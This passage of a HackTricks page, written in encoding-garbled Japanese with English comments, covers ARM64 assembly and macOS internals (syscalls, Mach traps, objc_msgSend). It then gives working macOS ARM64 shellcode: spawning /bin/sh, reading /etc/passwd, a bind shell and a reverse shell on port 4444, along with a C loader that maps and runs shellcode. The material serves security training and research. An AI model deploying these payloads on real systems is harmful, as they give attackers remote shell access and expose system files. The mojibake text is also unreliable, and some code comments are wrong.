cmp x0, x1ã®åŸã«b.ne labelâx0ãšx1ãçãããªãå Žålabelãžãžã£ã³ãããŸãã -
cbz: ãŒããšã®æ¯èŒãšãŒãã®å Žåã«åå²ãã¬ãžã¹ã¿ããŒããšæ¯èŒããçããå Žåã«åå²ããŸãã -
äŸ:
cbz x0, labelâx0ããŒããªãlabelãžãžã£ã³ãããŸãã -
cbnz: éãŒãã®å Žåã«åå²ãã¬ãžã¹ã¿ããŒããšæ¯èŒããçãããªããã°åå²ããŸãã -
äŸ:
cbnz x0, labelâx0ãéãŒããªãlabelãžãžã£ã³ãããŸãã -
tbnz: æå®ãããããã¹ãããŠéãŒããªãåå² -
äŸ:
tbnz x0, #8, label -
tbz: æå®ãããããã¹ãããŠãŒããªãåå² -
äŸ:
tbz x0, #8, label -
æ¡ä»¶ä»ãã»ã¬ã¯ãæäœ: æ¡ä»¶ãããã«å¿ããŠæ¯ãèããå€ããæäœçŸ€ã§ãã
-
csel Xd, Xn, Xm, cond->csel X0, X1, X2, EQ-> çãªã X0 = X1ãåœãªã X0 = X2 -
csinc Xd, Xn, Xm, cond-> çãªã Xd = Xnãåœãªã Xd = Xm + 1 -
cinc Xd, Xn, cond-> çãªã Xd = Xn + 1ãåœãªã Xd = Xn -
csinv Xd, Xn, Xm, cond-> çãªã Xd = Xnãåœãªã Xd = NOT(Xm) -
cinv Xd, Xn, cond-> çãªã Xd = NOT(Xn)ãåœãªã Xd = Xn -
csneg Xd, Xn, Xm, cond-> çãªã Xd = Xnãåœãªã Xd = - Xm -
cneg Xd, Xn, cond-> çãªã Xd = - Xnãåœãªã Xd = Xn -
cset Xd, Xn, Xm, cond-> çãªã Xd = 1ãåœãªã Xd = 0 -
csetm Xd, Xn, Xm, cond-> çãªã Xd = <all 1>ãåœãªã Xd = 0 -
adrp: ã·ã³ãã«ã®ããŒãžã¢ãã¬ã¹ãèšç®ããŠã¬ãžã¹ã¿ã«æ ŒçŽããŸãã -
äŸ:
adrp x0, symbolâsymbolã®ããŒãžã¢ãã¬ã¹ãèšç®ããŠx0ã«æ ŒçŽããŸãã -
ldrsw: ã¡ã¢ãªãã笊å·ä»ã 32 ãããå€ãããŒãã㊠64 ãããã«ç¬Šå·æ¡åŒµããŸããéåžž SWITCH ã±ãŒã¹ã§äœ¿ãããŸãã -
äŸ:
ldrsw x0, [x1]âx1ãæãã¡ã¢ãªäœçœ®ãã笊å·ä»ã 32 ãããå€ãèªã¿ã64 ãããã«ç¬Šå·æ¡åŒµããŠx0ã«æ ŒçŽããŸãã -
stur: ãªãã»ããä»ãã§å¥ã®ã¬ãžã¹ã¿ããã®ã¡ã¢ãªäœçœ®ã«ã¬ãžã¹ã¿å€ãã¹ãã¢ããŸãã -
äŸ:
stur x0, [x1, #4]âx1ã«æ ŒçŽãããã¢ãã¬ã¹ +4 ã®äœçœ®ã«x0ã®å€ãã¹ãã¢ããŸãã -
svc: ã·ã¹ãã ã³ãŒã«ãè¡ããŸããSupervisor Call ã®ç¥ã§ãããã®åœä»€ãå®è¡ããããšãããã»ããµã¯ãŠãŒã¶ã¢ãŒãããã«ãŒãã«ã¢ãŒãã«åãæ¿ãããã«ãŒãã«ã®ã·ã¹ãã ã³ãŒã«åŠçã³ãŒããããç¹å®ã®ã¡ã¢ãªäœçœ®ã«ãžã£ã³ãããŸãã -
äŸ:
mov x8, 93 ; Load the system call number for exit (93) into register x8.
mov x0, 0 ; Load the exit status code (0) into register x0.
svc 0 ; Make the system call.
颿°ããããŒã°
- ãªã³ã¯ã¬ãžã¹ã¿ãšãã¬ãŒã ãã€ã³ã¿ãã¹ã¿ãã¯ã«ä¿åãã:
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
- æ°ãããã¬ãŒã ãã€ã³ã¿ãèšå®ãã:
mov x29, sp(çŸåšã®é¢æ°ã®æ°ãããã¬ãŒã ãã€ã³ã¿ãèšå®ããŸã) - ããŒã«ã«å€æ°çšã«ã¹ã¿ãã¯äžã®é åã確ä¿ããïŒå¿
èŠãªå ŽåïŒ:
sub sp, sp, <size>ïŒããã§<size>ã¯å¿ èŠãªãã€ãæ°ã§ãïŒ
颿°ãšãããŒã°
- ããŒã«ã«å€æ°ãè§£æŸããïŒããå²ãåœãŠãããŠããã°ïŒ:
add sp, sp, <size> - ãªã³ã¯ã¬ãžã¹ã¿ãšãã¬ãŒã ãã€ã³ã¿ã埩å ãã:
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
- Return:
ret(ãªã³ã¯ã¬ãžã¹ã¿ã®ã¢ãã¬ã¹ã䜿ã£ãŠåŒã³åºãå ã«å¶åŸ¡ãè¿ã)
ARM ã®äžè¬çãªã¡ã¢ãªä¿è·
AARCH32 å®è¡ç¶æ
Armv8-A 㯠32-bit ããã°ã©ã ã®å®è¡ããµããŒãããŸããAArch32 㯠2ã€ã®åœä»€ã»ããïŒA32 ãš T32 ã®ããããã§åäœã§ããinterworking ã«ãã£ãŠåãæ¿ããããšãã§ããŸãã
ç¹æš© ãæã€ 64-bit ããã°ã©ã ã¯ãäŸå€ã¬ãã«ãäœã 32-bit ã«ç§»ãããšã§ 32-bit ã®å®è¡ ãã¹ã±ãžã¥ãŒã«ã§ããŸãã
64-bit ãã 32-bit ãžã®é·ç§»ã¯ãããäœãäŸå€ã¬ãã«ã§çºçããããšã«æ³šæããŠãã ããïŒäŸãã° EL1 ã® 64-bit ããã°ã©ã ã EL0 ã®ããã°ã©ã ãèµ·åããå ŽåïŒãããã¯ãAArch32 ããã»ã¹ã¹ã¬ãããå®è¡æºåã§ãããšãã«ãç¹å¥ã¬ãžã¹ã¿ SPSR_ELx ã®ããã4ã 1 ã«èšå®ããSPSR_ELx ã®æ®ãã AArch32 ããã°ã©ã ã® CPSR ãæ ŒçŽããããšã§è¡ãããŸãããã®åŸãç¹æš©ããã»ã¹ã¯ ERET åœä»€ãåŒã³åºããããã»ããµã¯ CPSR ã«å¿ã㊠AArch32 ã«ç§»è¡ã A32 ãŸã㯠T32 ã«å
¥ããŸãã
interworking 㯠CPSR ã® J ããããš T ãããã䜿ã£ãŠè¡ãããŸãã J=0 ã〠T=0 㯠A32 ãæå³ããJ=0 ã〠T=1 㯠T32 ãæå³ããŸããããã¯åºæ¬çã«åœä»€ã»ããã T32 ã§ããããšã瀺ãããã« æäžäœãããã 1 ã«èšå®ããããšã«çžåœããŸãã
ãã㯠interworking branch instructions ã®éã«èšå®ãããŸãããPC ãå®å
ã¬ãžã¹ã¿ã«èšå®ããä»ã®åœä»€ã«ãã£ãŠçŽæ¥èšå®ãããããšããããŸããäŸïŒ
å¥ã®äŸïŒ
_start:
.code 32 ; Begin using A32
add r4, pc, #1 ; Here PC is already pointing to "mov r0, #0"
bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
.code 16:
mov r0, #0
mov r0, #8
ã¬ãžã¹ã¿
16åã®32ãããã¬ãžã¹ã¿ïŒr0-r15ïŒããããr0ããr14ãŸã§ã¯ããããæäœã«äœ¿çšã§ããããããã€ãã¯éåžžäºçŽãããŠããïŒ
r15: ããã°ã©ã ã«ãŠã³ã¿ïŒåžžã«ïŒã次ã®åœä»€ã®ã¢ãã¬ã¹ãä¿æãããA32ã§ã¯çŸåšã®ã¢ãã¬ã¹ + 8ãT32ã§ã¯çŸåš + 4ãr11: ãã¬ãŒã ãã€ã³ã¿r12: ããã·ãŒãžã£å åŒã³åºãã¬ãžã¹ã¿r13: ã¹ã¿ãã¯ãã€ã³ã¿ïŒã¹ã¿ãã¯ã¯åžžã«16ãã€ãå¢çã«æŽåããŠããïŒr14: ãªã³ã¯ã¬ãžã¹ã¿
ããã«ãã¬ãžã¹ã¿ã¯ banked registries ã«ããã¯ã¢ãããããŠããããããã¯ã¬ãžã¹ã¿å€ãæ ŒçŽããå Žæã§ãããäŸå€åŠçãç¹æš©æäœæã« é«éãªã³ã³ããã¹ãåãæ¿ã ãå¯èœã«ããæ¯åæåã§ã¬ãžã¹ã¿ãä¿åã»åŸ©å
ããå¿
èŠãåé¿ããããã®ãã®ã ã
ããã¯ãäŸå€ãåãããããã»ããµã¢ãŒãã® CPSR ãã SPSR ãžããã»ããµç¶æ
ãä¿åããããš ã«ãã£ãŠè¡ããããäŸå€åŸ©åž°æã«ã¯ãCPSR ã SPSR ãã埩å
ãããã
CPSR - Current Program Status Register
AArch32ã«ãããCPSRã¯AArch64ã® PSTATE ãšåæ§ã«æ©èœããäŸå€æã«ã¯åŸã§å®è¡ã埩å
ããããã« SPSR_ELx ã«ãä¿åãããïŒ
.png)
ãã£ãŒã«ãã¯ä»¥äžã®ã°ã«ãŒãã«åãããŠããïŒ
- Application Program Status Register (APSR): ç®è¡ãã©ã°ã§ãEL0ããã¢ã¯ã»ã¹å¯èœ
- Execution State Registers: ããã»ã¹ã®æåïŒOSã管çïŒ
Application Program Status Register (APSR)
N,Z,C,Vãã©ã°ïŒAArch64ãšåæ§ïŒQãã©ã°: å°çšã®é£œåç®è¡åœä»€ã®å®è¡äžã« æŽæ°ã®é£œåãçºç ãããš1ã«ã»ããããããäžåºŠ1ã«ãªããšæåã§0ã«èšå®ããããŸã§ãã®å€ãä¿æãããããã«ããã®å€ãæé»çã«ãã§ãã¯ããåœä»€ã¯ãªããæç€ºçã«èªã¿åã£ãŠç¢ºèªããå¿ èŠããããGEïŒGreater than or equalïŒãã©ã°: SIMD (Single Instruction, Multiple Data) æäœãäŸãã° âparallel addâ ã âparallel subtractâ ã®ãããªæäœã§äœ¿çšãããããããã®æäœã¯åäžåœä»€ã§è€æ°ã®ããŒã¿ãã€ã³ããåŠçã§ããã
äŸãã°ãUADD8 åœä»€ã¯ïŒ2ã€ã®32ããããªãã©ã³ãããïŒ4ã€ã®ãã€ããã¢ã䞊åã«å ç®ãããã®çµæã32ãããã¬ãžã¹ã¿ã«æ ŒçŽããããã®åŸããããã®çµæã«åºã¥ã㊠APSR ã® GE ãã©ã° ãèšå®ãããåGEãã©ã°ã¯åãã€ãå ç®ã«å¯Ÿå¿ããŠããããã®ãã€ããã¢ã®å ç®ã ãªãŒããŒãããŒããã ã瀺ãã
SEL åœä»€ã¯ãããã®GEãã©ã°ã䜿ã£ãŠæ¡ä»¶ä»ãã®åäœãè¡ãã
Execution State Registers
Jããã³Tããã:Jã¯0ã§ããã¹ãã§ãTã0ãªãåœä»€ã»ãã㯠A32ã1ãªã T32 ã䜿çšãããã- IT Block State Register (
ITSTATE): ããã10â15ããã³25â26ã§ãITãã¬ãã£ãã¯ã¹ã®ã°ã«ãŒãå ã®åœä»€ã«å¯Ÿããæ¡ä»¶ãæ ŒçŽããã Eããã: ãšã³ãã£ã¢ã³ãã¹ã瀺ãã- Mode and Exception Mask Bits (0-4): çŸåšã®å®è¡ç¶æ ãæ±ºå®ããã5çªç®ã®ãããã¯ããã°ã©ã ã32bitïŒ1ïŒã§åäœããŠããã64bitïŒ0ïŒã§åäœããŠãããã瀺ããä»ã®4ããã㯠çŸåšäœ¿çšãããŠããäŸå€ã¢ãŒãïŒäŸå€ãçºçããŠåŠçãããŠãããšãïŒã衚ããèšå®ãããæ°å€ã¯ãåŠçäžã«å¥ã®äŸå€ãçºçããå Žåã® çŸåšã®åªå 床 ã瀺ãã
.png)
AIF: ç¹å®ã®äŸå€ã¯A,I,Fãããã§ç¡å¹åã§ãããAã1ã®å Žå㯠asynchronous aborts ãããªã¬ãŒããããIã¯å€éšããŒããŠã§ã¢ã® Interrupt RequestsïŒIRQsïŒã«å¿çããèšå®ãè¡ããF㯠Fast Interrupt RequestsïŒFIRsïŒã«é¢é£ããã
macOS
BSD syscalls
Check out syscalls.master or run cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h. BSD syscalls will have x16 > 0.
Mach Traps
Check out in syscall_sw.c the mach_trap_table and in mach_traps.h the prototypes. The max number of Mach traps is MACH_TRAP_TABLE_COUNT = 128. Mach traps will have x16 < 0, so you need to call the numbers from the previous list with a minus: _kernelrpc_mach_vm_allocate_trap is -10.
You can also check libsystem_kernel.dylib in a disassembler to find how to call these (and BSD) syscalls:
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
Note that Ida and Ghidra can also decompile specific dylibs from the cache just by passing the cache.
Tip
å Žåã«ãã£ãŠã¯ããœãŒã¹ã³ãŒãã確èªããããã
libsystem_kernel.dylibã®éã³ã³ãã€ã«ãããã³ãŒãã確èªããã»ããç°¡åãªããšããããŸããè€æ°ã® syscall (BSD ã Mach) ã®ã³ãŒãã¯ã¹ã¯ãªããã§çæãããããïŒãœãŒã¹ã³ãŒãã®ã³ã¡ã³ãã確èªããŠãã ããïŒãdylib å ã§ã¯äœãåŒã°ããŠããããçŽæ¥èŠã€ããããããã§ãã
machdep calls
XNU 㯠machine dependentïŒmachdepïŒãšåŒã°ããå¥çš®ã®åŒã³åºãããµããŒãããŠããŸãããããã®åŒã³åºãã®çªå·ã¯ã¢ãŒããã¯ãã£ã«äŸåããŠãããåŒã³åºãèªäœãçªå·ãæä¹ çã«äžå®ã§ããä¿èšŒã¯ãããŸããã
comm page
ããã¯ã«ãŒãã«ææã®ã¡ã¢ãªããŒãžã§ããã¹ãŠã®ãŠãŒã¶ãŒããã»ã¹ã®ã¢ãã¬ã¹ç©ºéã«ããããããŸããéåžžã«é »ç¹ã«äœ¿çšããããã®éœåºŠ syscalls ã䜿ããšé·ç§»ãéåžžã«éå¹çã«ãªããããªã«ãŒãã«ãµãŒãã¹ã«å¯ŸããŠããŠãŒã¶ãŒã¢ãŒãããã«ãŒãã«ç©ºéãžã®é·ç§»ãé«éåããããã®ãã®ã§ãã
For example the call gettimeofdate reads the value of timeval directly from the comm page.
objc_msgSend
Objective-C ã Swift ã®ããã°ã©ã ã§ãã®é¢æ°ã䜿ãããŠããã®ãèŠãããããšã¯éåžžã«å€ãã§ãããã®é¢æ°ã¯ Objective-C ãªããžã§ã¯ãã®ã¡ãœãããåŒã³åºãããã®ãã®ã§ãã
Parameters (more info in the docs):
- x0: self -> ã€ã³ã¹ã¿ã³ã¹ãžã®ãã€ã³ã¿
- x1: op -> ã¡ãœããã®ã»ã¬ã¯ã¿
- x2⊠-> åŒã³åºãããã¡ãœããã®æ®ãã®åŒæ°
ãããã£ãŠããã®é¢æ°ãžåå²ããåã«ãã¬ãŒã¯ãã€ã³ãã眮ãã°ãlldb ã§äœãåŒã°ããŠããããç°¡åã«èŠã€ããããŸãïŒãã®äŸã§ã¯ãªããžã§ã¯ã㯠NSConcreteTask ã®ãªããžã§ã¯ããåŒã³åºããã³ãã³ããå®è¡ããŸãïŒïŒ
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
(lldb) x/s $x1
0x1736d3a6e: "launch"
(lldb) po [$x0 launchPath]
/bin/sh
(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)
Tip
ç°å¢å€æ°
NSObjCMessageLoggingEnabled=1ãèšå®ãããšããã®é¢æ°ãåŒã°ãããšãã«/tmp/msgSends-pidã®ãããªãã¡ã€ã«ã«ãã°ãåºåã§ããŸããããã«ã
OBJC_HELP=1ãèšå®ããŠä»»æã®ãã€ããªãå®è¡ãããšãç¹å®ã® Objc-C ã¢ã¯ã·ã§ã³ãçºçãããšãã« log ããããã«äœ¿ããä»ã®ç°å¢å€æ°ã確èªã§ããŸãã
ãã®é¢æ°ãåŒã³åºããããšã察象ã€ã³ã¹ã¿ã³ã¹ã®åŒã°ããã¡ãœãããèŠã€ããå¿ èŠãããããã®ããã«ããã€ãã®ç°ãªãæ€çŽ¢ãè¡ãããŸã:
- Perform optimistic cache lookup:
- If successful, done
- Acquire runtimeLock (read)
- If (realize && !cls->realized) ã®å Žåãã¯ã©ã¹ã realize ãã
- If (initialize && !cls->initialized) ã®å Žåãã¯ã©ã¹ã initialize ãã
- Try class own cache:
- If successful, done
- Try class method list:
- If found, fill cache and done
- Try superclass cache:
- If successful, done
- Try superclass method list:
- If found, fill cache and done
- If (resolver) ã®å Žåãmethod resolver ã詊ããclass lookup ããããçŽã
- If still here (= all else has failed) ã®å Žå㯠forwarder ã詊ã
Shellcodes
ã³ã³ãã€ã«ããã«ã¯:
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
ãã€ããæœåºããã«ã¯ïŒ
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
ããæ°ãã macOS ã®å Žå:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
shellcodeããã¹ãããããã®Cã³ãŒã
```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #includeint (*sc)();
char shellcode[] = â
int main(int argc, char **argv) { printf(â[>] Shellcode Length: %zd Bytes\nâ, strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) { perror(âmmapâ); exit(-1); } printf(â[+] SUCCESS: mmap\nâ); printf(â |-> Return = %p\nâ, ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf(â[+] SUCCESS: memcpy\nâ); printf(â |-> Return = %p\nâ, dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) { perror(âmprotectâ); exit(-1); } printf(â[+] SUCCESS: mprotect\nâ); printf(â |-> Return = %d\nâ, status);
printf(â[>] Trying to execute shellcodeâŠ\nâ);
sc = ptr; sc();
return 0; }
</details>
#### Shell
ã¯[**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s)ããåããã解説ããŸãã
{{#tabs}}
{{#tab name="with adr"}}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
{{#endtab}}
{{#tab name=âwith stackâ}}
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
; We are going to build the string "/bin/sh" and place it on the stack.
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
; Prepare arguments for the execve syscall.
mov x1, #8 ; Set x1 to 8.
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
; Make the syscall.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
{{#endtab}}
{{#tab name=âwith adr for linuxâ}}
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
{{#endtab}} {{#endtabs}}
catã§èªã¿åã
ç®ç㯠execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL) ãå®è¡ããããšã§ããããã£ãŠç¬¬2åŒæ° (x1) 㯠params ã®é
åã§ïŒã¡ã¢ãªäžã§ã¯ãã㯠addresses ã® stack ãæå³ããïŒã
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
fork ãã sh ã§ã³ãã³ããå®è¡ããŠã¡ã€ã³ããã»ã¹ãçµäºããªãããã«ãã
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
Bind shell
Bind shell 㯠https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.sïŒport 4444ïŒ
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Reverse shell
åºå ž: https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell to 127.0.0.1:4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


